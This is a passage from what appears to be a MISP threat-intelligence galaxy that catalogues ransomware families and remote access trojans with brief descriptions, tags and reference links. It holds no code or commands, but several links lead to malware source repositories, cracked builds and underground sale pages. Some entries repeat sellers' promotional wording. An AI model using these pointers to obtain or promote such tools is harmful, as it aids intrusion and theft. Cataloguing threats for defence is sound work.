- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"

Table 6468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat
https://1-id—ransomware-blogspot-com.translate.goog/2021/12/blackcat-ransomware.html?_x_tr_enc=1&_x_tr_sl=ru&_x_tr_tl=en&_x_tr_hl=ru
https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809
https://github.com/f0wl/blackCatConf
https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/
https://www.varonis.com/blog/alphv-blackcat-ransomware
https://www.intrinsec.com/alphv-ransomware-gang-analysis
https://unit42.paloaltonetworks.com/blackcat-ransomware/

https://www.cyber.gov.au/acsc/view-all-content/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat

Mount Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Mount Locker"*

Table 6469. Table References

Links
https://www.cyclonis.com/mount-locker-ransomware-more-dangerous
https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game

Astro Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Astro Locker"*

Table 6470. Table References

Links
https://threatpost.com/mount-locker-ransomware-changes-tactics/165559/
https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/

Pandora

Ransomware

The tag is: *misp-galaxy:ransomware="Pandora"*

Table 6471. Table References

Links
https://twitter.com/malwrhunterteam/status/1501857263493001217
https://dissectingmalwa.re/blog/pandora

Rook

Ransomware

The tag is: *misp-galaxy:ransomware="Rook"*

Table 6472. Table References

Links
https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk
https://twitter.com/techyteachme/status/1464317136944435209

HelloXD

HelloXD is a ransomware family performing double extortion attacks that surfaced in November 2021. During our research we observed multiple variants impacting Windows and Linux systems. Unlike other ransomware groups, this ransomware family doesn’t have an active leak site; instead it prefers to direct the impacted victim to negotiations through TOX chat and onion-based messenger instances.

The tag is: *misp-galaxy:ransomware="HelloXD"*

Table 6473. Table References

Links
https://unit42.paloaltonetworks.com/helloxd-ransomware/

Maui ransomware

Maui ransomware stand out because of a lack of several key features commonly seen with tooling from RaaS providers, such as an embedded ransom note to provide recovery instructions or automated means of transmitting encryption keys to attackers. Instead, it is believed that Maui is manually operated, in which operators will specify which files to encrypt when executing it and then exfiltrate the resulting runtime artifacts. There are many aspects to Maui ransomware that are unknown, including usage context.

The tag is: *misp-galaxy:ransomware="Maui ransomware"*

Table 6474. Table References

Links
https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-187a

Lorenz Ransomware

Lorenz is a ransomware group that has been active since at least February 2021 and like many ransomware groups, performs double-extortion by exfiltrating data before encrypting systems.

The tag is: *misp-galaxy:ransomware="Lorenz Ransomware"*

Table 6475. Table References

Links
https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/

RAT

remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they have physical access to that system..

RAT is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various - raw-data

Iperius Remote

Iperius Remote is advertised with these features: Control remotely any computer with Iperius Remote Desktop Free. For remote support or presentations. Ideal for technical assistance. Easy to use and secure.

The tag is: *misp-galaxy:rat="Iperius Remote"*

Table 6476. Table References

Links
https://www.iperiusremote.com

TeamViewer

TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.

The tag is: *misp-galaxy:rat="TeamViewer"*

Table 6477. Table References

Links
https://www.teamviewer.com

JadeRAT

JadeRAT is just one example of numerous mobile surveillanceware families we've seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.

The tag is: *misp-galaxy:rat="JadeRAT"*

View relationships graph

JadeRAT has relationships with:

- similar: misp-galaxy:malpedia="JadeRAT" with estimative-language:likelihood-probability="likely"

Table 6478. Table References

Links
https://blog.lookout.com/mobile-threat-jaderat
https://www.cfr.org/interactive/cyber-operations/jaderat

Back Orifice

Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.

The tag is: *misp-galaxy:rat="Back Orifice"*

Back Orifice is also known as:

- BO

Table 6479. Table References

Links
http://www.cultdeadcow.com/tools/bo.html
http://www.symantec.com/avcenter/warn/backorifice.html

Netbus

NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.

The tag is: *misp-galaxy:rat="Netbus"*

Netbus is also known as:

- NetBus

Table 6480. Table References

Links
http://www.symantec.com/avcenter/warn/backorifice.html
https://www.f-secure.com/v-descs/netbus.shtml

PoisonIvy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: *misp-galaxy:rat="PoisonIvy"*

PoisonIvy is also known as:

- Poison Ivy
- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

View relationships graph

PoisonIvy has relationships with:

- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 6481. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

Sub7

Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.

The tag is: *misp-galaxy:rat="Sub7"*

Sub7 is also known as:

- SubSeven
- Sub7Server

Table 6482. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2001-020114-5445-99

Beast Trojan

Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.

The tag is: *misp-galaxy:rat="Beast Trojan"*

Table 6483. Table References

Links
https://en.wikipedia.org/wiki/Beast_(Trojan_horse)

Bifrost

Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).

The tag is: *misp-galaxy:rat="Bifrost"*

Table 6484. Table References

Links
https://www.revolvy.com/main/index.php?s=Bifrost%20(trojan%20horse)&item_type=topic
http://malware-info.blogspot.lu/2008/10/bifrost-trojan.html

Blackshades

Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.

The tag is: *misp-galaxy:rat="Blackshades"*

View relationships graph

Blackshades has relationships with:

- similar: misp-galaxy:tool="Blackshades" with estimative-language:likelihood-probability="likely"

Table 6485. Table References

Links
https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/

DarkComet

DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.

The tag is: *misp-galaxy:rat="DarkComet"*

DarkComet is also known as:

- Dark Comet

View relationships graph

DarkComet has relationships with:

- similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Table 6486. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/
https://blogs.cisco.com/security/talos/darkkomet-rat-spam

Lanfiltrator

Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.

The tag is: *misp-galaxy:rat="Lanfiltrator"*

Table 6487. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-121116-0350-99

Win32.HsIdir

Win32.HsIdir is an advanced remote administrator tool systems was done by the original author

HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.

The tag is: *misp-galaxy:rat="Win32.HsIdir"*

Table 6488. Table References

Links
http://lexmarket.su/thread-27692.html
https://www.nulled.to/topic/129749-win32hsidir-rat/

Optix Pro

Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K

The tag is: *misp-galaxy:rat="Optix Pro"*

Table 6489. Table References

Links
https://en.wikipedia.org/wiki/Optix_Pro
https://www.symantec.com/security_response/writeup.jsp?docid=2002-090416-0521-99
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20208

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: *misp-galaxy:rat="Back Orifice 2000"*

Back Orifice 2000 is also known as:

- BO2k

Table 6490. Table References

Links
https://en.wikipedia.org/wiki/Back_Orifice_2000
https://home.mcafee.com/VirusInfo/VirusProfile.aspx?key=10229
https://www.symantec.com/security_response/writeup.jsp?docid=2000-121814-5417-99
https://www.f-secure.com/v-descs/bo2k.shtml

RealVNC

The software consists of a server and client application for the Virtual Network Computing (VNC) protocol to control another

The tag is: *misp-galaxy:rat="RealVNC"*

RealVNC is also known as:

- VNC Connect
- VNC Viewer

Table 6491. Table References

Links
https://www.realvnc.com/

Adwind RAT

Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.

The tag is: *misp-galaxy:rat="Adwind RAT"*

Adwind RAT is also known as:

- UNRECOM
- UNiversal REmote COntrol Multi-Platform
- Frutas
- AlienSpy
- Unrecom
- Jsocket
- JBifrost

View relationships graph

Adwind RAT has relationships with:

- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 6492. Table References

Links
https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf
https://www.f-secure.com/v-descs/backdoor_java_adwind.shtml
https://blog.fortinet.com/2016/08/16/jbifrost-yet-another-incarnation-of-the-adwind-rat
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Albertino Advanced RAT

The tag is: *misp-galaxy:rat="Albertino Advanced RAT"*

Table 6493. Table References

Links
https://www.virustotal.com/en/file/b31812e5b4c63c5b52c9b23e76a5ea9439465ab366a9291c6074bfae5c328e73/analysis/1359376345/

Arcom

The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.

The tag is: *misp-galaxy:rat="Arcom"*

Table 6494. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-112912-5237-99
http://blog.trendmicro.com/trendlabs-security-intelligence/tsunami-warning-leads-to-arcom-rat/

BlackNix

BlackNix rat is a rat coded in delphi.

The tag is: *misp-galaxy:rat="BlackNix"*

Table 6495. Table References

Links
https://leakforums.net/thread-18123?tid=18123&&pq=1

Blue Banana

Blue Banana is a RAT (Remote Administration Tool) created purely in Java

The tag is: *misp-galaxy:rat="Blue Banana"*

Table 6496. Table References

Links
https://leakforums.net/thread-123872
https://techanarchy.net/2014/02/blue-banana-rat-config/

Bozok

Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.

The tag is: *misp-galaxy:rat="Bozok"*

View relationships graph

Bozok has relationships with:

- similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="likely"

Table 6497. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html

ClientMesh

ClientMesh is a Remote Administration Application yhich allows a user to control a number of client PCs from around the world.

The tag is: *misp-galaxy:rat="ClientMesh"*

Table 6498. Table References

Links
https://sinister.ly/Thread-ClientMesh-RAT-In-Built-FUD-Crypter-Stable-DDoSer-No-PortForwading-40-Lifetime
https://blog.yakuza112.org/2012/clientmesh-rat-v5-cracked-clean/

CyberGate

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer’s screen.

The tag is: *misp-galaxy:rat="CyberGate"*

View relationships graph

CyberGate has relationships with:

- similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="likely"

Table 6499. Table References

Links
http://www.hackersthirst.com/2011/03/cybergate-rat-hacking-facebook-twitter.html
http://www.nbcnews.com/id/41584097/ns/technology_and_science-security/t/cybergate-leaked-e-mails-hint-corporate-hacking-conspiracy/

Dark DDoSeR

The tag is: *misp-galaxy:rat="Dark DDoSeR"*

Table 6500. Table References

Links
http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html

DarkRat

In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: *misp-galaxy:rat="DarkRat"*

DarkRat is also known as:

- DarkRAT

Table 6501. Table References

Links
https://www.infosecurity-magazine.com/blogs/the-dark-rat/
http://darkratphp.blogspot.lu/

Greame

The tag is: *misp-galaxy:rat="Greame"*

Table 6502. Table References

Links
https://sites.google.com/site/greymecompany/greame-rat-project

HawkEye

HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.

The tag is: *misp-galaxy:rat="HawkEye"*

Table 6503. Table References

Links
http://securityaffairs.co/wordpress/54837/hacking/one-stop-shop-hacking.html
https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

jRAT

jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.

The tag is: *misp-galaxy:rat="jRAT"*

jRAT is also known as:

- JacksBot

View relationships graph

jRAT has relationships with:

- similar: misp-galaxy:malpedia="jRAT" with estimative-language:likelihood-probability="likely"

Table 6504. Table References

Links
https://www.rekings.com/shop/jrat/

jSpy

jSpy is a Java RAT.

The tag is: *misp-galaxy:rat="jSpy"*

View relationships graph

jSpy has relationships with:

- similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="likely"

Table 6505. Table References

Links
https://leakforums.net/thread-479505

LuxNET

Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.

The tag is: *misp-galaxy:rat="LuxNET"*

Table 6506. Table References

Links
https://leakforums.net/thread-284656

NJRat

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: *misp-galaxy:rat="NJRat"*

NJRat is also known as:

- Njw0rm

View relationships graph

NJRat has relationships with:

- similar: misp-galaxy:rat="Kiler RAT" with estimative-language:likelihood-probability="likely"

Table 6507. Table References

Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/njrat

Pandora

Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora's structure is based on advanced client / server architecture. was configured using modern technology.

The tag is: *misp-galaxy:rat="Pandora"*

Table 6508. Table References

Links
https://www.rekings.com/pandora-rat-2-2/

Predator Pain

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn't scale well when there are a lot of infected machines and logs involved.

The tag is: *misp-galaxy:rat="Predator Pain"*

Predator Pain is also known as:

- PredatorPain

View relationships graph

Predator Pain has relationships with:

- similar: misp-galaxy:malpedia="HawkEye Keylogger" with estimative-language:likelihood-probability="likely"

Table 6509. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/predator-pain-and-limitless-behind-the-fraud/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-predator-pain-and-limitless.pdf

Punisher RAT

Remote administration tool

The tag is: *misp-galaxy:rat="Punisher RAT"*

Table 6510. Table References

Links
http://punisher-rat.blogspot.lu/

SpyGate

This is tool that allow you to control your computer form anywhere in world with full support to unicode language.

The tag is: *misp-galaxy:rat="SpyGate"*

Table 6511. Table References

Links
https://www.rekings.com/spygate-rat-3-2/
https://www.symantec.com/security_response/attacksignatures/detail.jsp%3Fasid%3D27950
http://spygate-rat.blogspot.lu/

Small-Net

RAT

The tag is: *misp-galaxy:rat="Small-Net"*

Small-Net is also known as:

- SmallNet

Table 6512. Table References

Links
http://small-net-rat.blogspot.lu/

Vantom

Vantom is a free RAT with good option and very stable.

The tag is: *misp-galaxy:rat="Vantom"*

Table 6513. Table References

Links
https://www.rekings.com/vantom-rat/

Xena

Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.

The tag is: *misp-galaxy:rat="Xena"*

Table 6514. Table References

Links
https://leakforums.net/thread-497480

XtremeRAT

This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.

The tag is: *misp-galaxy:rat="XtremeRAT"*

Table 6515. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html

Netwire

NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.

The tag is: *misp-galaxy:rat="Netwire"*

Table 6516. Table References

Links
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

Gh0st RAT

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .

The tag is: *misp-galaxy:rat="Gh0st RAT"*

View relationships graph

Gh0st RAT has relationships with:

- similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 6517. Table References

Links
https://www.volexity.com/blog/2017/03/23/have-you-been-haunted-by-the-gh0st-rat-today/

Plasma RAT

Plasma RAT's stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: *misp-galaxy:rat="Plasma RAT"*

Table 6518. Table References

Links
http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: *misp-galaxy:rat="Babylon"*

Table 6519. Table References

Links
https://www.rekings.com/babylon-rat/

Imminent Monitor

RAT

The tag is: *misp-galaxy:rat="Imminent Monitor"*

Table 6520. Table References

Links
http://www.imminentmethods.info/

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim's private data wilfully.

The tag is: *misp-galaxy:rat="DroidJack"*

Table 6521. Table References

Links
http://droidjack.net/

Quasar RAT

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

The tag is: *misp-galaxy:rat="Quasar RAT"*

View relationships graph

Quasar RAT has relationships with:

- similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"

Table 6522. Table References

Links
https://github.com/quasar/QuasarRAT
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Dendroid

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google's Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.

The tag is: *misp-galaxy:rat="Dendroid"*

View relationships graph

Dendroid has relationships with:

- similar: misp-galaxy:mitre-malware="Dendroid - S0301" with estimative-language:likelihood-probability="likely"

Table 6523. Table References

Links
https://github.com/qqshow/dendroid
https://github.com/nyx0/Dendroid

Ratty

A Java R.A.T. program

The tag is: *misp-galaxy:rat="Ratty"*

View relationships graph

Ratty has relationships with:

- similar: misp-galaxy:malpedia="Ratty" with estimative-language:likelihood-probability="likely"

Table 6524. Table References

Links
https://github.com/shotskeber/Ratty

RaTRon

Java RAT

The tag is: *misp-galaxy:rat="RaTRon"*

Table 6525. Table References

Links
http://level23hacktools.com/forum/showthread.php?t=27971
https://leakforums.net/thread-405562?tid=405562&&pq=1

Arabian-Attacker RAT

The tag is: *misp-galaxy:rat="Arabian-Attacker RAT"*

Table 6526. Table References

Links
http://arabian-attacker.software.informer.com/

Androrat

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.

The tag is: *misp-galaxy:rat="Androrat"*

Table 6527. Table References

Links
https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/
https://github.com/wszf/androrat

Adzok

Remote Administrator

The tag is: *misp-galaxy:rat="Adzok"*

Table 6528. Table References

Links
http://adzok.com/

Schwarze-Sonne-RAT

The tag is: *misp-galaxy:rat="Schwarze-Sonne-RAT"*

Schwarze-Sonne-RAT is also known as:

- SS-RAT
- Schwarze Sonne

Table 6529. Table References

Links
https://github.com/mwsrc/Schwarze-Sonne-RAT

Cyber Eye RAT

The tag is: *misp-galaxy:rat="Cyber Eye RAT"*

Table 6530. Table References

Links
https://www.indetectables.net/viewtopic.php?t=24245

Batch NET

The tag is: *misp-galaxy:rat="Batch NET"*

RWX RAT

The tag is: *misp-galaxy:rat="RWX RAT"*

Table 6531. Table References

Links
https://leakforums.net/thread-530663

Spynet

Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions

The tag is: *misp-galaxy:rat="Spynet"*

Table 6532. Table References

Links
http://spynet-rat-officiel.blogspot.lu/

CTOS

The tag is: *misp-galaxy:rat="CTOS"*

Table 6533. Table References

Links
https://leakforums.net/thread-559871

Virus RAT

The tag is: *misp-galaxy:rat="Virus RAT"*

Table 6534. Table References

Links
https://github.com/mwsrc/Virus-RAT-v8.0-Beta

Atelier Web Remote Commander

The tag is: *misp-galaxy:rat="Atelier Web Remote Commander"*

Table 6535. Table References

Links
http://www.atelierweb.com/products/

drat

A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev

The tag is: *misp-galaxy:rat="drat"*

Table 6536. Table References

Links
https://github.com/chrismattmann/drat

MoSucker

MoSucker is a powerful backdoor - hacker’s remote access tool.

The tag is: *misp-galaxy:rat="MoSucker"*

Table 6537. Table References

Links
https://www.f-secure.com/v-descs/mosuck.shtml

Theef

The tag is: *misp-galaxy:rat="Theef"*

Table 6538. Table References

Links
http://www.grayhatforum.org/thread-4373-post-5213.html#pid5213
http://www.spy-emergency.com/research/T/Theef_Download_Creator.html
http://www.spy-emergency.com/research/T/Theef.html

ProRat

ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).

The tag is: *misp-galaxy:rat="ProRat"*

Table 6539. Table References

Links
http://prorat.software.informer.com/
http://malware.wikia.com/wiki/ProRat

Setro

The tag is: *misp-galaxy:rat="Setro"*

Table 6540. Table References

Links
https://sites.google.com/site/greymecompany/setro-rat-project

Indetectables RAT

The tag is: *misp-galaxy:rat="Indetectables RAT"*

Table 6541. Table References

Links
http://www.connect-trojan.net/2015/03/indetectables-rat-v.0.5-beta.html

Luminosity Link

The tag is: *misp-galaxy:rat="Luminosity Link"*

Table 6542. Table References

Links
https://luminosity.link/

Orcus

The tag is: *misp-galaxy:rat="Orcus"*

Table 6543. Table References

Links
https://orcustechnologies.com/

Blizzard

The tag is: *misp-galaxy:rat="Blizzard"*

Table 6544. Table References

Links
http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html

Kazybot

The tag is: *misp-galaxy:rat="Kazybot"*

Table 6545. Table References

Links
https://www.rekings.com/kazybot-lite-php-rat/
http://telussecuritylabs.com/threats/show/TSL20150122-06

BX

The tag is: *misp-galaxy:rat="BX"*

Table 6546. Table References

Links
http://www.connect-trojan.net/2015/01/bx-rat-v1.0.html

death

The tag is: *misp-galaxy:rat="death"*

Sky Wyder

The tag is: *misp-galaxy:rat="Sky Wyder"*

Table 6547. Table References

Links
https://rubear.me/threads/sky-wyder-2016-cracked.127/

DarkTrack

The tag is: *misp-galaxy:rat="DarkTrack"*

Table 6548. Table References

Links
https://www.rekings.com/darktrack-4-alien/
